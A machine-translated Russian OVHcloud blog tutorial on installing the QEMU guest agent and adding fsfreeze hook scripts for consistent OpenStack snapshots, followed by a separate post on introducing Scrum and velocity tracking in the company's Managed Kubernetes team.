$ file /dev/virtio-ports/org.qemu.guest_agent.0
/dev/virtio-ports/org.qemu.guest_agent.0: symbolic link to `../vport2p1'


Если этого файла нет, гостевой агент qemu не будет работать, а это значит, что для вашего образа не установлено hw_qemu_guest_agentсвойство yes.

Дистрибутивы на основе Debian (Debian, Ubuntu)

# Install the agent
user@agent:~$ sudo apt-get update
user@agent:~$ sudo apt-get install qemu-guest-agent

# Check the agent is started (it should be automatically started and enabled)
user@agent:~$ sudo service qemu-guest-agent status


Распределения на основе Redhat (Centos, Fedora)

# Install the agent
user@agent:~$ sudo yum install qemu-guest-agent

# Enable the agent
user@agent:~$ sudo chkconfig qemu-guest-agent on

# Start the agent
user@agent:~$ sudo service qemu-guest-agent start

# Check the agent is started
user@agent:~$ sudo service qemu-guest-agent status


Windows

Загрузите и установите MSI, связанный с вашей архитектурой (32- или 64-разрядные версии, хотя мы рекомендуем 64-разрядные версии для публичного облака) из проекта Fedora: fedorapeople.org/groups/virt/virtio-win/direct-downloads/ последний-qemu-ga /

Вы можете проверить, что служба запущена, используя эту команду powershell:

PS C:\Users\Administrator> Get-Service QEMU-GA

Status   Name               DisplayName
------   ----               -----------
Running  QEMU-GA            QEMU Guest Agent


Документацию Fedora по созданию образов Windows с драйверами virtIO можно найти здесь. [2]

Расширенное использование: перехватчики агента QEMU

Можно добавить сценарии, которые будут запускаться до замораживания файловой системы агентом и после ее размораживания.

Пример ниже выполнен в Debian 9, поэтому конфигурацию, возможно, придется скорректировать для других дистрибутивов.

Кроме того, в некоторых дистрибутивах уже есть ловушка fsfreeze.

Добавьте скрипт fsfreeze-hook

Во-первых, нам нужно добавить и активировать механизм fsfreeze-hook:

# Create the folders to receive the hooks
debian@agent:~$ sudo mkdir -p /etc/qemu/fsfreeze-hook.d

# Download the fsfreeze-hook from the QEMU repository
debian@agent:~$ sudo wget -O /etc/qemu/fsfreeze-hook https://raw.githubusercontent.com/qemu/qemu/master/scripts/qemu-guest-agent/fsfreeze-hook
debian@agent:~$ sudo chmod +x /etc/qemu/fsfreeze-hook

# Add the configuration of the qemu-guest-agent daemon to use this script
debian@agent:~$ sudo tee /etc/default/qemu-guest-agent > /dev/null <<EOF
DAEMON_ARGS="-F/etc/qemu/fsfreeze-hook"
EOF

# Restart the service to take the modifications into account
debian@agent:~$ sudo service qemu-guest-agent restart


Пример скрипта перехвата

/etc/qemu/fsfreeze-hook cкрипт позволяет пользователям добавлять пользовательские скрипты, которые будут выполняться до и после замораживания файловой системы.

Добавим тест, который записывает в файл при замораживании и оттаивании экземпляра:

debian@agent:~$ sudo tee /etc/qemu/fsfreeze-hook.d/test_hook.sh > /dev/null <<EOF
#!/bin/bash

case \$1 in
 freeze)
   echo "I'm frozen" > /tmp/freeze
   ;;
 thaw)
   echo "I'm thawed" >> /tmp/freeze
   ;;
 *)
   exit 1
   ;;
esac
EOF

debian@agent:~$ sudo chmod +x /etc/qemu/fsfreeze-hook.d/test_hook.sh


Будьте очень осторожны с пользовательскими сценариями ловушек. В случае неудачи снимок будет полностью заброшен и уничтожен. Если вы не можете найти образ, который должен был быть создан с помощью снимка, вероятно, это связано с ошибкой одного из сценариев. В этом случае проверьте журнал экземпляра qemu-agent.

Сделайте снимок своего экземпляра:

$ openstack server image create --name test_snapshot <instance name or uuid>


Убедитесь, что тестовый хук запущен:

# It works!
debian@agent:~$ sudo cat /tmp/freeze
I'm frozen
I'm thawed


Очистите тест:

debian@agent:~$ sudo rm /etc/qemu/fsfreeze-hook.d/test_hook.sh /tmp/freeze


Почему это не включено по умолчанию?

Qemu-guest-agent не установлен по умолчанию в большинстве дистрибутивов. Так почему бы нам не добавить его по умолчанию в предоставляемые нами базовые изображения?

Проблема в том, что нам юридически не разрешено изменять содержимое базовых образов, предоставляемых Ubuntu, поэтому в целях единообразия мы не устанавливаем пакет ни в какой дистрибутив.

Источники:
  • Запись в блоге Себастьяна Хана «OpenStack: выполнение согласованных снимков» [1]
  • Вики-статья proxmox о гостевом агенте QEMU [2]
  • Документация Fedora по созданию образов Windows с драйверами virtIO [3]

Рождение гибкой телеметрии в OVHcloud - Часть I

В октябре 2018 года, незадолго до саммита OVHcloud, я присоединился к платформе Product Unit Platform в качестве менеджера программы. С этой новой ролью возникла новая задача… поддержать команду, работающую над новым продуктом: OVHcloud Managed Kubernetes. Крайний срок был коротким, у нас было много дел, и нам нужно было обеспечить видимость как для менеджеров, так и для команд разработчиков. Но как программный менеджер у меня в сумке были нужные инструменты: SCRUM и agility.



Моим первым действием, как новичком, было попросить команду выразить себя. Я хотел понять, как работает группа, поскольку слушание — один из первых шагов в процессе гибкого строительства.

Имея дело со значительными изменениями, необходимо управлять изменениями и сопровождать людей на протяжении всего процесса. Слишком часто слово «agile» употребляется таким образом, чтобы жертвовать здравым смыслом, становясь козлом отпущения, когда происходят непредвиденные события или задержки в доставке. Ключевой задачей было успокоить команду и объяснить им, что гибкость не сделает их жизнь тяжелее или добавит накладных расходов к повседневным задачам. Мы добились этого несколькими способами:

  • Организация нескольких презентаций и методических занятий
  • Проведение личных встреч с командами в Париже и Лионе 
  • Объяснение того, как метод будет работать во время реального спринта
  • C ollectively разрабатывает руководство для нашей реализации метода SCRUM 

После того, как мы вместе проверили основы, мы перешли к методологии. На этом этапе мы могли бы начать добавлять ценность проекту, используя гибкость.

Ценность нашей маневренности

После нескольких спринтов с использованием гибкого метода наша группа обрела некоторую стабильность, то есть мы достигли хорошей «скорости», как мы называем это на сленге практиков Agile. Скорость — важная ценность и определяющий фактор в нашем постоянном движении к гибкой телеметрии.

Чтобы быстро (пере) определить это, скорость — это количество «очков усилий», которые команда может выполнить во время спринта. Этот ключевой показатель позволил нам оценить, сколько работы наша команда могла бы выполнить за определенный период времени.

Скорость и усилия в нашем проекте Managed Kubernetes

Давайте посмотрим на упрощенную схему того, как этот метод работал в нашем проекте Managed Kubernetes:



Здесь у нас есть три основных шага. Для каждого из них мы собрали количественные значения, чтобы получить консолидированное представление о скорости каждого шага в дополнение к глобальному обзору всего проекта. С такими скоростями мы получили хорошее представление о продвижении проекта и некоторую видимость сроков.



Пример:



Эта гибкая модель позволила нам достичь нашей цели и вовремя доставить проект Managed Kubernetes нашим клиентам, и этот успех впоследствии побудил нас поделиться этими передовыми методами со всеми командами в подразделении продукта.

Но возникла вторая проблема, так как поддержание этого процесса требовало большой дисциплины, с многочисленными возможностями для совершения ошибок. Итак, нашим следующим шагом было создание инструмента, способного снизить риск ошибки, сохраняя при этом полную видимость проектов как на макро-, так и на микроуровне. Это то, что мы подробно представим в следующем сообщении блога: Agile-телеметрия от OVHcloud.